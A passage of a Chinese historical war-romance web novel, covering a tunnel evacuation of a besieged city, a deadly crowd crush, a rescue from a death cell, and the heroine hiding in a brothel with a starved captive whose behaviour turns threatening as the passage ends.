这时,一旁的云琛看出知罗脸色很差,猜到荣易那家伙嘴里没说什么好话,赶紧拔起荣易插在地图上的**,拿**柄敲了荣易脑袋一下,训道:
“我最近是不是太惯你了?再胡说八道就罚你去刷恭桶啊!”
从入狮威军以来,荣易便一直跟着云琛做副手,谁的话荣易都可以不听,自己直接上司的话还是要听的。
荣易嘻嘻笑着,赶紧捂着嘴闪到一边儿去了。
知罗略带感激地看着云琛,脸色稍缓,但仍看得出心情不佳。
云琛无瑕过多注意知罗的情绪,她两手撑在桌边,看看最后剩下的一条西南线地道,又看看固英城四周标记的密密麻麻的二十万黑鳞骑兵。
她与霍乾念对视一眼,仍旧不必多说,二人都知道对方在想什么。
现在,唯剩两个最危险最艰难的任务摆在眼前:
一个是西南线的地道,此线路经过的营救区域很特殊,不光有几百户平民百姓需要营救疏散,还有已沦为**营的“青楼”,以及一个常年关押着犯人的“地牢”。
这两处地方不像普通家院民宅那样简单,地形复杂,人员不可控性也极大。
营救青楼的姑娘们时,只怕她们正在遭受黑鳞骑兵蹂躏折磨,营救时必要引起惊动;而地牢那边,犯人们一旦离开牢笼,很可能为了逃命而趁乱暴起。
先前知罗制定营救计划的时候,甚至几度想
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要放弃这两个地方。
而另一个危险的任务,便是要在固英城外,直接与黑鳞骑兵大军正面交战。
城内将近五万人要救,分四条地道快速撤离固英城,即使在不发生任何临时意外的情况下,最快也得三个时辰结束。
更何况一旦开始营救,将无法避免与城内敌军交战。
因此,城外必须要佯攻以吸引黑鳞骑兵全部主力。
且这佯攻必须逼真、全力,方能最大程度争取时间,令黑鳞骑兵深信不疑。
两个任务都非常艰难,说不上哪个更危险。
与霍乾念对视过后,云琛调皮地眨眨眼,“老规矩,咱俩抓阄?”
“好。”霍乾念笑着应声。
荣易立刻大呼小叫地开始准备抓阄纸条,他叼着毛笔,扯下一张宣纸,撕成两半,嘴里嘀咕道:
“我看看啊,一个就写‘营救青楼香香小娘子’,另一个就写‘拉黑鳞狗出去遛遛’,怎么样?”
众人齐齐掏耳朵,表示不怎么样。
“我来写吧。”知罗伸手拿过毛笔,取出一黑一白两张纸,背过身去,在纸上分别落下几个字,而后将纸倒扣在桌面上。
“请二位将军拈阄。”
从来抓阄也好,摸彩也罢,霍乾念总是让云琛先。
于是,云琛习惯性地上前,刚想伸手去翻那张黑色宣纸,却被霍乾念出声叫停。
“琛儿,这次我先,可以吗?”霍乾念说。
云琛觉得有点奇怪,但还是停住动作,“好呀,你先呗。”
霍乾念伸出骨节分明的修长手指,摁在那张黑色宣纸上,凤眸微抬,不动声色地看了知罗一眼。
知罗被看得神色一僵,又很快恢复正常。
霍乾念将黑色的宣纸翻过来,上面写着“战城门”。
荣易赶紧替云琛翻开白色的宣纸,上面写着“闯西南”。
荣易凑近云琛笑道:“恭喜老大,贺喜老大!接的是营救青楼香香小娘子的美差哇!哈哈哈——”
云琛一脚踹在荣易屁股上:
“滚哦!”
第234章 地道营救
夜空无云,月不明。
东风携细雨,吹响了狮威军冲锋固英城的号角。
霍乾念身骑屠狼驹,挥斩隐月剑,一马当先,冲锋在杀戮最前。
见狮威军主帅来袭,大军倾巢出动,颇有不破城门不还的架势,黑鳞骑兵在焦左泰的指挥下迅速列阵迎战,依旧骑兵疾疾,狠辣非常。
只可惜狮威军占据地形劣势,且骑兵太少,攻城太难,将士们发起一轮又一轮冲锋,却一次又一次被打退,死伤无数,倒在血泊之中。
与此同时,固英城中,百姓居住最密集的四片区域,各自悄悄启开三尺见方的暗板。
百名将士从中鱼贯而出,行动快速却静默无声,躲过城内为数不多的黑鳞骑兵巡防,挨家挨户跳进宅院,将百姓们一一引入地道。
所有人都发现,这营救计划实施起来,远比想象中更难。
将士们分头跳进百姓宅院,每跳进去一家,第一件要做的事就是赶紧捂住百姓的嘴,避免对方发出惊呼。
接着,将士们快速解释,催促百姓们进地道逃生。
有的百姓反应伶俐,二话不说,跟着就走;
有的人却十分犹豫多疑,即使将士们拍着身上的楠国军服对天发誓,都不肯轻易跟随离去。
将士们费尽口舌,解释了一遍又一遍,好不容易说通了,有的人却在那里慢吞吞地收拾起金银细软,说什么也要把家产带上。
有带着啼哭不停的幼儿的,有拖家带口带着狗的,有为了抢夺逃离次序打起来的,有扎堆在一起叽叽喳喳拉家常的,还有宁死也不想离家的......
将士们一个头两个大,急得都快疯了,真恨不得一人脑袋上给一棒槌,打晕了带走最省事。
好在城外厮杀声喧天如沸,再加上东风携雨,掩盖了城内的嘈杂声音。
两个时辰之后,城中百姓撤离大半。
最北边的荣易方向,率先发来烟火信号,表示成功,而后一口气砸毁地道口、及以里的数十根防止坍塌的支撑木柱。
伴着地道轰然塌陷,泥土将后路掩埋得结结实实。
见荣易那边已经成功撤退,荣江骂了句“我特么成弟弟了”,立刻加快营救速度,也很快发起成功的烟火信号。
知罗这边,她负责在地道内留守和指挥,罗东东则在疏散完区域大部分百姓后,带着几十个将士冲向常关押战俘的菜市口广场。
按照常理,广场空旷,一览无遗,非常易于管理,东炎被俘虏的两万士兵应该在这。
然而到了广场上,却只见四下漆黑一片,寂静得没有一点声音。
罗东东点亮一个火折子扔出去,渺渺火光在空中划出弧线,照出偌大的广场上白骨累累,全部都是东炎士兵的残尸。
整整两万人,黑鳞骑兵杀了一半,吃了一半。
站在这样的血海尸山前,罗东东浑身发毛,赶紧与将士们撤退,却迎面与巡防的一队黑鳞骑兵撞上,两方人马迅速杀在一起。
黑鳞骑兵主力皆在城外迎战,城内巡防留守的人数不过千人,但也足够罗东东等人应顾不暇,被打得连连后退。
敌我力量悬殊,罗东东不敢恋战,赶紧招呼将士们下地道离开。
那些正赶向地道口的百姓们,一见来救自己的楠国将士们要走,立刻尖叫起来,争先恐后地冲上去,蜂拥成一大团,反而将地道口堵得死死的,谁也进不去。
一时间,罗东东等人进退无路。
前方是不断冲过来的黑鳞骑兵,后方是拥挤哭喊的百姓和堵死的地道口。
真是杀也杀不得,逃也逃不出。
听到罗东东这边的动静,刚刚营救完青楼里几百个姑娘们的云琛,立刻部署其他人继续赶往地牢救人,自己则与数十将士奔向罗东东处救援。
原本青楼是营救难度最大的地方之一,但狮威军在城外一进攻,楼里所有黑鳞骑兵立马提裤子跑去集合。
等云琛等人进到楼里的时候,只剩一屋子衣衫不整露着香肩的姑娘们。
一见穿着楠国军服的将士,姑娘们就像见到亲人似的,齐齐扑上来哭诉,像几百只黄鹂鸟儿同时围着将士们叽叽喳喳。
对着这样一屋子香腮粉黛的美人儿,将士们有点手足无措,云琛只得站出来安抚,哄着姑娘们擦干眼泪,穿戴齐整,快速往地道走。
姑娘们虽然身如弱柳,肩不能扛手不能提的,胆子也小,但胜在听话,全都排成一长串,乖乖跟在云琛后面,很快就全部下进地道,没一个矫情拖后腿的。
疏散完青楼,云琛等人立即支援罗东东,很快将地道口清理出来,百姓们悉数钻进地道。
接着,云琛等人冲上去与黑鳞骑兵交战。
“老大!俺护着你走!”罗东东一边厮杀,一边大喊。
云琛杀倒一个黑鳞骑兵,抢下战马,直直冲进黑鳞骑兵队列中心,一举将对方阵型打散,头也不回地大喊:
“你先走!知罗一个人恐怕不行!快!”
得到上司命令,罗东东等人不再停留,赶紧撤退进地道。
罗东东是最后一个跳进地道口的,在他的视线里,只见云琛孤身深陷黑压压的敌军之中。
黑鳞骑兵的长枪一次次从她的后心边缘扎过去,长刀几乎贴着她的面削过。
她不停挥剑,剑花挽的锋利带啸,眼神从容又无畏。
眼见几个黑鳞骑兵正朝地道口冲过来,罗东东不能再停留,只能大喝一声,咬着牙狠狠踹倒地道口的支撑柱,让土石坍塌掩盖下来。
一路奔行,一路砍倒地道的支撑柱,罗东东很快追上了正在地道里惊慌逃路的百姓队伍。
队伍末尾,有人回头看了罗东东一眼,见那一身凶悍杀意,满脸鲜血狰狞,误以为是黑鳞骑兵追上来了。
不知是谁尖叫了一声“快跑啊!吃人兵杀过来了!!”末尾的一众百姓们立刻惊叫起来,没命地向前冲去。
第235章 可怕的意外
恐慌是最容易传播的情绪。
一声尖叫过后,很快,整个队伍都乱了起来。
地道狭窄,只容一人穿过,人们争抢着往前跑,你推我搡,立刻将不少人踩踏在脚下。
地道之中,原本每隔十丈便有一名将士驻守引路,维持地道秩序。
可眼下一乱起来,到处都是惊叫和哭喊声,十丈距离太远,相邻的将士根本听不见彼此的声音,完全无法沟通维持秩序。
远在前方的知罗等人,只见原本好好行进的队伍,不知怎的突然暴起,开始向前疯狂逃窜。
一个男人狠狠推开知罗,踩着她的脚冲过去。
知罗被撞在地道墙壁上,赶紧后背贴靠在较宽的墙壁处躲避,迅速命令随行将士维持人群秩序。
然而为时已晚,一个体型较胖的男人正拼命往前冲,却突然卡在通道较为狭窄的地方,接着立马被后面人推倒踩踏,狠狠摔趴在地上。
恐惧似乎令所有人失去了理智。
没有人去管地上那口鼻冒血的胖男人,只顾踩着他的背和头,不停地往前冲。
一个又一个踩过去,一个又一个摔倒,又被其他人踩过。
知罗根本来不及反应,地道就已被彻底堵死,人们交叠挤压在一起,奋力踩踏着别人,试图挤出去,却谁也动不了分毫。
一个女人从挤压的人堆里伸出长长的胳膊,努力露出已近乎变形的脸,朝知罗哀求:
“救命……我……我喘不上气了……”
一个男人仰着头,瞪着已经充血的眼睛,根本说不出话,只能发出微弱撕裂的喘息。
一个孩子在哭,很快没了声音。
知罗被眼前的景象吓得跌坐在地上,看着那挤压成一团的“人球”,一只只伸向自己的胳膊,渐渐发青的扭曲变形的脸,她吓得步步后退,连去拉一把都忘了。
不消片刻,那巨大的“人球”便没了生息。
十几只灰色的手臂扭曲着,和数张爆裂充血的面容杂糅在一起,看着极其可怖。
地道内慢慢陷入令人绝望的寂静。
知罗浑身冰凉,如坠冰窟,止不住地开始颤抖。
这突如其来的可怕意外,吓得她无意识地后退,再后退,直到身后一空,跌进一个足有一间屋子大的空地。
这是地道里专门用来给百姓休息的土洞,二十里路太长,中间必须要补给休息,更要换气通风,保持空气足够呼吸。
“军师大人……这……这好像是从固英城过来的第一个土洞……”一个将士惊恐地说。
知罗这才意识到,眼前这恐怖人球堵住的,不光是逃生之路,还有足够要了后面所有人性命的空气。
赶在队伍最后面的百姓和罗东东他们,很可能会因为缺少空气直接憋死!
“罗营长……罗营长!!”知罗终于彻底意识到眼前令人窒息绝望的处境,她冲过去推人球,却纹丝不动。
几个将士轮流去推,也根本动不了分毫。
一个将士咬着牙,抽出了佩刀,“军师,要不……要不……”
看看将士手里锋利的刀刃,再看看已气绝身亡的“人球”,知罗战栗着闭上眼睛,用已经几乎变形的声音颤声下令:
“动手……挖路!”
……
……
三个时辰过去,天色陷入黎明前最深的黑暗。
没有人知道地下的西线地道里,正在上演一场惨绝人寰的毁尸挖路……
固英城外,霍乾念带着狮威军厮杀不止,仍在为城内的营救争取时间。
固英城内,一大群黑鳞骑兵还在追击云琛,被牵着鼻子跑来跑去,渐渐远离了最后一处西南线的地道入口。
云琛一边利用熟悉地形的优势,试图甩开敌人,一边在城中四处张望。
见四处屋宅全空,她冲天燃起一支最高的烟火信号。
烟火炸开,绚烂的颜色代表着营救成功结束。
云琛所负责的地道营救线,那最后一个地道入口处,久等云琛却不至的将士们看见信号,立即将最后几个青楼的姑娘、地牢的犯人拉进地道,而后关起暗板,狠狠踹倒支撑柱。
城外的霍乾念则立马鸣金收兵,开始带领狮威军撤退。
这场可以称之为狮威军将士“以命换命”、去救老百姓们的营救行动,终于接近尾声。
所有人都在撤退,远离固英城。
唯剩云琛还在城中,正在全力驾马逃离。
她记得城南深巷后有一处城墙豁口,直通护城河,可以供她逃出。
她按记忆中的路线飞驰,身后黑鳞骑兵穷追不舍。
远远的,她看见那个城墙豁口,从中隐约可见护城河的水流穿过。
豁口处只有七八个黑鳞骑兵在把守,她有信心击杀逃离。
攥紧缰绳,握紧饮血剑,她伏低身子,准备冲杀。
就在这时,她余光瞟到不远处的一间铺子,看起来像是一家贩卖野味的小商户。
那门前的牌匾已经掉落,到处一片破败,门梁上却还挂着两排细长的风干蛇肉。
蛇皮晃悠悠在风中飘荡,令她一下子想起一个人——
颜十九。
当这三个字突然出现在云琛脑海时,没有任何犹豫,她在城墙豁口处硬生生拉住缰绳,在这仅有一步之遥逃出生天的机会门口,调转马头,再次朝城内奔去。
她的动作太过决绝和迅速,甚至叫黑鳞骑兵们都愣了,吃惊之余缓下脚步,令她趁机遥遥逃走。
有一个地方,知罗在制定营救计划的时候忘记了,霍乾念忘记了,云琛也差点忘记。
那是城中唯一没有人会去关心的地方,深深隐藏在菜市口白骨广场的最深处——
固英城死牢。
第236章 死牢
云琛扔下马,独自在城中屋宅与小巷之间躲藏。
她穿过残尸遍布的菜市口广场,靠近那个只关押死刑犯的死牢。
牢门口有两个士兵把守,云琛悄悄摸过去,一跃而起,双腿剪住一人的脖子,腰垮一扭,漂亮地拧断,同时一刀刺穿另一人咽喉。
一套动作行云流水,敏捷得如野豹一般,几乎没有发出太大的动静。
推开死牢沉重狭小的铁门,一股腐朽恶臭的气味迎面扑来,云琛弯腰钻进去,视线顿时变得黑暗。
停顿片刻,眼睛逐渐适应幽暗的光线。
云琛像猫一样轻手轻脚地往前摸索前进,沿着长满青苔的滑腻石阶慢慢下到最深处,来到死牢最尽头。
借着昏暗的光线,她看见右边的牢房里没有人,只有一截细细长长的木头柱子倒在地上。
左边牢房里,一个瘦长的人影靠在墙边,隐在浓重的阴影里。
两点鬼火一般的眼睛正穿透黑暗,直直望着她。
看那身影瘦得夸张,完全不是颜十九平时人高马大的样子,她下意识心说:
“得,白来了”。
如果颜十九不在这里,会在哪里呢?她心里发愁。
但既然已经来了,没有不救人就走的道理。
她上前砍断门锁,推开牢房门,冲里面招手:
“我是狮威军的云琛,正在带领全城百姓撤离,你跟我走吧。”
那人影没有回应,只是扶着膝盖,艰难地试图站起身。
似乎是体力不支,又似乎是被手脚上的镣铐牵绊,那人动作极其迟缓,迈一步都很费劲。
感觉再这样磨蹭下去,自己就可以在这死牢等着过八十大寿了,云琛拍拍肩膀:
“来,我背你吧!”
说完她弯腰钻进牢门,直起身子的时候,脸正好与那人的胸口贴对上。
她抬头看去——
眼前男人蓬头垢面,满脸胡茬,脸颊与眼眶深深地凹陷下去,熟悉的浓眉星目早已瘦脱了相,却还残留着一点孩子脸的面容。
她愣愣瞪大眼睛,失声惊叫:
“颜十九!颜十九??真的是你吗??”
颜十九轻笑一声,上前半步,突然脚下一软,整个人朝云琛倾倒过去。
云琛被扑倒在潮湿腐烂的草榻上,只感觉颜十九的身子轻得只剩一把骨头。
“小云云,你终于来救我了……”颜十九声音嘶哑微弱,连多说第二句话的力气都没有。
云琛扶着颜十九坐起身,赶忙去砍他手脚上的镣铐。
镣铐解开,云琛这才看到他手腕脚腕处一片血肉模糊,全都是被镣铐磨的。
再环顾这小小死牢,除了一个又脏又臭的恭桶,一张腐烂潮湿的草榻,一盏凝结着厚厚油垢的煤油灯,其他什么都没有。
自黑鳞骑兵破城以来,颜十九就作为俘虏将领,一直被关在这里,整整半年不见天日,生不如死。
云琛看得心里难受,“颜十九,对不起,我来晚了。”
颜十九轻轻摆手,“先不说这个了”,他舔舔干裂的嘴唇,“带水了吗?”
云琛摸摸腰间,“没带。”
“那带吃的了吗?”
“没带。”
“带止血止疼的药膏没有?”
“额……也没带……”
颜十九倒吸一口凉气,噎得说不出话。
云琛不好意思地挠头,“我多带了一把匕首,给你一把?”
颜十九无奈笑道:
“不必了,我现在没有自刎的力气。”
见颜十九还有精神说笑话,云琛知道他一时半会死不了,赶紧半扛着他往牢外走,顺嘴问了一句:
“你护卫万宸呢?”
颜十九有气无力地指了一下隔壁牢房。
云琛仔细眯眼一瞧,这才发现地上那细细长长的不是一根木头柱子,而是已经饿得半死不活、快没有人样的万宸。
“我的妈!万宸!对不住对不住!刚没看出是你!我还寻思牢里为什么关根柱子呢!”云琛赶紧将轻飘飘的万宸也救出来。
云琛试图一左一右,将颜十九和万宸一同扛住。
万宸却避开她的搀扶,表示不用,自顾慢慢往前走,脚步虚浮得如同鬼魂游荡。
云琛道:“都这时候了,别在乎什么男女大防了,万宸,我扶着你走吧!”
万宸没力气说话,只是轻轻摇头,执意自己走。
看着颜十九和万宸两个八百年没吃过饭的样子,云琛叹气:
“黑鳞骑兵这些畜生,竟然不给你们吃饭吗?”
“给了。”颜十九顿了顿,“但我不吃同胞。”
短短两句,云琛瞬间明白。
应该是焦左泰将曾经试图驯服她的招式,同样地用在了颜十九和万宸的身上。
两口干饼子和生水吊着性命,然后日日端来人肉做吸引。
焦左泰习惯用食物瓦解人的意志力,攻击向人性最薄弱的地方。
只可惜前有云琛,后有颜十九和万宸。
一个个铁骨铮铮,都是宁为玉碎不为瓦全的性子。
颜十九甚至比云琛意志更坚。
云琛曾经被困黑鳞骑兵营地,不过短短数日。
可颜十九却被俘虏了整整半年。
到底要什么样的决心和道德心,才能让他守住为人的底线,一次次拒绝食物的诱惑。
完全能够感同身受颜十九的痛苦折磨,更发自内心对他感到敬佩,云琛用力扛住颜十九,脚下加快步伐:
“颜十九,撑住!我们一同杀出去,我请你去狮威军的营地喝酒!”
颜十九弯着身子,搭靠在云琛肩膀,下巴正好抵在她的发顶。
云琛没有察觉,颜十九却清楚地知道:
这是他第一次离她这么近,贴得这么紧。
“颜十九,你怎么越来越重了?快要晕倒了吗?”云琛感觉越扛越费力,打量颜十九的神色,却见他脸色苍白虚弱,嘴角却莫名其妙噙着一抹笑容,不像是要晕过去的样子。
没得办法,云琛只得使出全部力气,改扛为搂抱,带着颜十九走出地牢。
原本计划抢一匹马,带着颜十九驾马逃离固英城。
可眼下多了个万宸不说,刚才在死牢里,光线昏暗,云琛没太看清颜十九和万宸。
这下从死牢里走出来,云琛才发现,二人惨的不是一星半点。
蓬头垢面如野人,浑身瘦得皮包骨头就算了,两个人手腕和脚腕全被镣铐磨得烂可见骨,身上更有许多严刑拷打留下的伤口,简直惨不忍睹。
照二人现在这个样子,根本不可能跟着她突围出固英城。
耳听得城门方向传来号角声,应该是黑鳞骑兵主力回城了。
一旦黑鳞骑兵看到城内空空如也,百姓全被救走,必然要火冒三丈,大肆搜城。
所以,现在她必须要找个地方,带着颜十九和万宸躲起来,最好是能躲上两三天,待二人体力恢复些再说。
“现在有没有一个地方,黑鳞骑兵去的可能性很小,里面既有吃穿用度,也有简单药物的?”她快速思考寻找,想不出固英城哪里能这么万全。
颜十九却和万宸互相对视一眼,异口同声道:
“青楼。”
第237章 青楼里的药
百姓撤离后,固英城几乎成了一座空城。
黑鳞骑兵城外一场恶战回来,发现城内空无百姓,这才知中了调虎离山之计。
一来失去了可以要挟狮威军的筹码,今后狮威军冲锋攻城必然不管不顾,势头更加凶猛;
二来,城里没有楠国百姓,就代表着黑鳞骑兵再也没有肉食军粮了。
吃了这么大个亏,焦左泰怒不可遏,立刻开始大肆搜城,加强戒备,就连城墙豁口都用石块封堵起来。
城中到处都是黑鳞骑兵,只有原本最热闹的青楼,因为没了姑娘供黑鳞骑兵糟蹋,突然成了最无人问津的地方。
云琛三人趁夜悄悄摸进青楼,避开门口的两个守卫,进入寂静无声的一楼大厅。
借着街道上黑鳞骑兵巡防队的火把光亮,可以看见楼里一片狼藉,仍保持着先前狮威军营救姑娘们匆匆逃离地道时的样子。
一楼是姑娘们日常歌舞的场子,没有客房。
云琛三人往二楼走去,找到一间相对整洁的厢房。
颜十九和万宸从死牢出来后就没吃喝东西,这会已经头晕眼花,浑身软得没有一点力气,一头栽倒在榻上,半昏了过去。
云琛将二人安顿好,脱下容易发出声响的铠甲,然后赶紧在楼内寻找食物和饮水。
好在隔壁不远处就是日常备果子茶点的隔间,可以吃喝的东西不少,还有两桶清水,可以用来擦洗伤口。
云琛将所有东西搬进厢房。
万宸倒还有力气自己爬起来吃东西,颜十九却昏迷不醒,硬是要云琛将他半抱在怀里,动作轻柔地喂了半壶水才行。
云琛拿湿布子给颜十九擦擦脸,拍拍他的脸颊,压低嗓子,轻声叫道:
“颜十九,醒一醒,起来吃些东西吧,颜十九?”
任凭云琛如何摇晃和呼唤,颜十九就是不醒。
“是不是伤口不好,发热了?”云琛有些担心,将手掌贴在颜十九额头,奇怪道:
“也没发热呀,怎么不醒呢?”
云琛想问问万宸怎么回事,抬眼却发现万宸正一边吃果子,一边仰头望着房顶,像是在专心研究房顶的装潢技术。
她瞬间反应过来,一把将颜十九扔在榻上,仍不忘压低声音:
“颜十九!你个浑蛋家伙!这个时候还耍人!”
颜十九绷不住,“扑哧”一声笑起来,撑头躺在榻上,笑看着云琛。
“小点声笑!小心被外面巡防队听见!”云琛气得想拿脚踹颜十九,但想到他如今瘦得一把骨头,只怕她一脚过去,他肋骨都得折三根。
她只能改踹为打,揪着颜十九坐起来,一把将他的手腕摁在水桶里:
“不饿是吧?不饿就先洗伤口!”
“哎呀……”颜十九猛地抽出手,忍着没有大喊,一边“嘶嘶”地吸凉气,一边捂着手腕在榻上打滚。
“喂,又在耍我是不是?”见颜十九脸色煞白,冷汗直流,不像是装的,云琛赶紧查看水桶。
见水清澈无异样,她便用手指沾了两滴尝尝,然后咧咧嘴,露出抱歉的憨笑:
“我没想到是洗果子的盐水……对不住,颜十九,你就当盐水清毒了,嘿嘿……”
颜十九疼得脑袋发晕,从牙缝里挤出话:
“太疼了……真的……好疼好疼……”
云琛一脸歉疚,“我这就去给你找点清水来洗洗!”
她说着转身就走,却被颜十九一把拉住。
她不解地看向他,后者则忍着疼痛,将脸颊凑上来,没脸没皮地开口:
“那倒不必,你亲我一口,也许就不疼了。”
翻了个白眼,云琛一巴掌拍在颜十九脸上,头也不回地转身而去。
找来清水,颜十九和万宸各自擦洗伤口。
云琛在打手居住的大房里找到两套衣服,还有满满一箱子药粉药膏。
她将药箱搬到厢房,三人对着各式各样的瓶瓶罐罐,开始猜测哪个是创伤药。
万宸指着瓶子最多的一种药,“应该是这个吧,楼里打手多,备的止血药粉应该最多。”
颜十九则拿起一个看起来最精致贵重的小瓶,小心翼翼打开,闻了闻,又将瓶口凑到云琛鼻子底下,坏笑:
“小云云,你猜这是什么?”
看着颜十九一脸坏样,再想到如今身处的地方,云琛猜那瓶里不是媚药就是能使人动情欲的东西。
云琛两指捏着瓶口,嫌弃地扔到一旁。
“颜十九,我看你还是伤得不重,腌臜人的力气大得很,那你肯定能自己上药,我不帮忙了。”
“你原本打算帮我上药的?”颜十九面露惊喜,然后立马作势要脱裤子,“那你帮我上药吧,来来来,我真是等了好久才等到今日!这伤没白挨!”
云琛赶紧捂住眼睛,骂道:
“你这狗东西!外面还有巡防和把守的黑鳞骑兵呢!再别闹了!”
颜十九嘻笑着作罢。
他压根就没有去解裤子,而是将衣衫脱下来,露出伤痕累累的上身。
见云琛还是捂着眼睛,颜十九道:
“万宸也虚弱得很,给他自己上药都费劲。我自己处理能够到的地方,肩背就由你帮我吧。”
犹豫了一下,云琛用帘子将窗户遮挡,而后点起一盏光线极弱的油灯照明,让颜十九和万宸可以看见。
她自己则用腰带蒙住眼睛,然后摸到一瓶创伤药,用指尖沾取药粉,猜测着方向,举到颜十九跟前。
颜十九一把握住直冲自己眼睛戳过来的手,无奈笑了一声,而后牵着她的手,慢慢往自己肩背放去。
第238章 我想要的未来,必须有你
云琛一只手搭在颜十九的肩膀上,找准位置,另一只手沾着药粉,细细地为他涂抹。
颜十九静静坐着,没有再说一句浑话,任由云琛摆布。
他感觉仿佛有一只美丽又温柔的蝴蝶正落在他的肩膀,轻轻吻着他的后背,将他的心勾得酥麻发痒。
不知为什么,他突然希望此时此刻能突发一场山崩地裂,就这样将他与云琛永生永世地固在一起。
舍不得打搅这份感觉,可又害怕自己更加沉沦,他终是开口:
“云琛,你上完茅房洗手了没?”
都不带思考一下的,云琛抬手就给了他脑袋一下。
听着颜十九又开始嬉皮笑脸的声音,云琛也觉得自在多了。
方才那样安静,她在给一个没穿衣服的男人上药,那气氛着实让她感到尴尬。
很快,药粉用完,颜十九后背靠腰的地方还有一处伤口没有涂抹。
云琛不愿马虎放过,“颜十九,再给我一瓶药。”
手中接到一个新瓶子,她拆开来,将药涂好。
听着颜十九和万宸重新穿好衣服的声音,云琛解开眼睛上蒙的腰带,开始帮颜十九的手腕上药。
手腕处的伤太深,普通药粉没有用,云琛只得拿去腐生肌的药膏涂抹上,而后用布将伤口包扎住,以促进愈合。
包扎的时候,云琛注意到颜十九的右手腕,上面戴着一根脏得看不出颜色的粗手链:
“这是什么?摘了吧,我给你上完药再戴。”
颜十九眉尾飞扬,神秘笑道:“这是我的护身符。摘不了,系的死结来着。”
没有多问,云琛将油灯凑近颜十九的手腕,拨开手链,细细地为其涂抹药膏。
“云琛,你是在所有人都撤离之后,来救我的,对吗?”颜十九突然问。
云琛头也不抬,一边忙活涂药,一边道:
“是啊,我都到城墙豁口,准备冲出去跳河离开了,结果想起来还没有救你,就回来了。”
得到这样一个答案,颜十九明显很开心,弯起嘴角,道:
“这说明你心里非常有我。”
“废话!”云琛白了颜十九一眼,“你是我朋友,我怎会不记得你?只怪我来得太晚,叫你多受了许多罪,唉!”
显然,云琛理解的和颜十九说的,完全不是一个意思。
但颜十九不在乎。
在他看来,云琛肯舍身独独来救他,就足以证明她的心。
颜十九将一个眼神给到万宸,后者立刻说着“我涂完药了,去望风”,而后闪出了厢房。
当厢房内只剩二人,颜十九坐在榻边,倾身低头,看着蹲在他面前的云琛。
他虽瘦得狠,可身架子仍然高大,足以将她整个笼罩住。
她的面容近在咫尺,脸好小,也就他一只手掌那么大;眼睛却很大,水灵灵的,干干净净的,没有一点污浊,就连杀人时的狠劲,都是纯粹到毫无杂质的。
她捧着他的手腕,专心致志地涂药,因为太过认真的缘故,她的嘴微微撅起一点,十分有小女子娇憨的模样。
忍着心中躁动,他正经脸色:
“云琛,你喜欢我。”
不是疑问句,而是十分“胸有成竹”的陈述句。
她不知这厮又犯哪根自恋脑筋还是嘴贱筋了,连白眼都懒得翻一个,“对对对,我喜欢你,我喜欢你全家。”
“你不会喜欢我家的。”他好像压根没有听出她的敷衍,仍旧自顾自地说:
“云琛,我现在有很多事要做,还不能喜欢你。再给我一些时间。”
“没问题,我给你五百年。不够的话,五千年也行!”她回答。
他望向空中黑暗,眼神逐渐阴沉,不知是对她说,还是对他自己说:
“先别喜欢,等一等,等封侯拜相,等山河稳固。只有达成一切的人,才有资格获得最终奖励。”
光线太暗,她看不清他的表情,也压根没想要搭理他这神神叨叨的几句话,满不在乎道:
“没看出来哇,你小子志向是封侯拜相?不错不错。这隔行如隔山,我也不懂做官,那就祝你成功吧!”
“应当是祝‘我们’。”他直直盯着她,目光灼灼,“在我想要的将来里,必须有你。”
此时已为他涂完手腕上的药,包扎好,她满意地舒了口气,拍拍手。
“那我努努力,争取别死太早?狗富贵,勿相忘,等你封侯拜相,我作为朋友也跟着沾光呐!”
说完,她就准备站起身,他却突然一把攥住她的手腕,将她拉扯到身前。
她猝不及防,被拉得差点摔倒,一屁股跌坐进他怀里,坐在了他大腿上,同时一不留神,打翻了手边灯盏,灯油全泼在了他肩膀上。
他好像根本感觉不到烫似的,只极度靠近着她的脸,死死盯着她的眼睛,目光阴鸷,像极了一只锁定猎物的恶狼。
很少在嘻嘻哈哈的颜十九脸上见到这么吓人的神情,云琛愣住,忘了要挣脱。
“啊……好烫。”
像是黑云与闪电滚滚而来,却又突然云开天晴,颜十九说了这么一句,而后表情一变,龇牙利嘴地去拍肩膀上的灯油。
他拉开衣服一瞧,肩膀上已然被烫出个大泡。
他哭丧着脸,可怜兮兮道:“小云云,你将我照顾得好极了,我感觉我能少活好几年!”
已见识过无数次颜十九的一惊一乍和又哭又笑,果然这次也不例外,她狠狠推开他的怀抱,不忘嫌弃地拍拍裤子,斜眼看着他。
“我就知道你这厮有神经病!”
第239章 断子绝孙
颜十九和万宸得伤不轻,云琛便主动承担起彻夜望风看守的责任。
她坐在厢房外靠窗的位置,能清楚地看见楼门口一直有人把守,不远处还有七八个岗哨。
黑鳞骑兵的巡防队不时经过,火把一次次晃过窗户,照映在她的脸上。
每当这时,她都会下意识将匕首抽出来,全身进入防御和准备战斗的状态。
一直到火光走远,她才轻轻将匕首合起,慢慢靠坐回去,但仍旧不敢发出一点声音。
大概是夜太长的缘故,再加上从地道出来到现在,已一天一夜没有合眼。
明明一墙之隔就是敌人,云琛还是累得睡着了。
她睡得很深,做了一个奇怪的梦。
梦里面,她回到了山之海。
一望无际的草原,漫山遍野都是盛开的风铃花。
她梦见屠狼驹像不认识她一样,匆匆从她面前跑过,一头扎进草原深处。
她大声叫着“霍云”,呼喊屠狼驹的名字追上去。
霍云没有回头,转瞬即逝,不见踪影。
她很快跑得没力气,停下脚步,只觉得好累好累,好想跌进那软绵绵毛绒绒的青草里睡一觉。
她四处走走停停,选好一个软坑准备入睡。
刚一躺下,却发现不远处正潜伏着一只恶狼,呲着獠牙,流着涎水,目露凶光地盯着她。
她杀过水蟒,杀过黑熊,却没有杀过狼。
因为狼比水蟒灵活,比黑熊残暴,比任何动物都阴险狡诈,不是她单打独斗可以应付的。
她有些害怕,忍不住掉头就跑。
只是梦里面怎么都跑不快,一下就被恶狼追上扑倒,将她死死摁在地上。
明明是青草地,应当是蓬软的,她却感到浑身都被压得剧痛。
她能清楚地听见恶狼贴着她的耳朵粗重喘息,声音越来越急促,充满邪恶的欲望。
梦太真实,真实到她心生恐惧,一下从梦中惊醒。
可耳边野兽般沉重的喘息却没有停止,压着她身子的力量也没有放松。
借着窗外一闪而过的巡防队火把,她看见颜十九正压在她身上,直勾勾地盯着她。
他浓眉紧皱着,睫毛微微颤抖,高挺的鼻梁上挂着细小的汗珠。
他的轮廓隐在黑暗里,但仍然看得出峻岭如峰的下颌线。
“颜十九!你干嘛?”她不敢发出声音,只能用气息说话。
颜十九根本不回答,只胸膛剧烈起伏,不停喘着粗气,目光幽深却没有焦点。
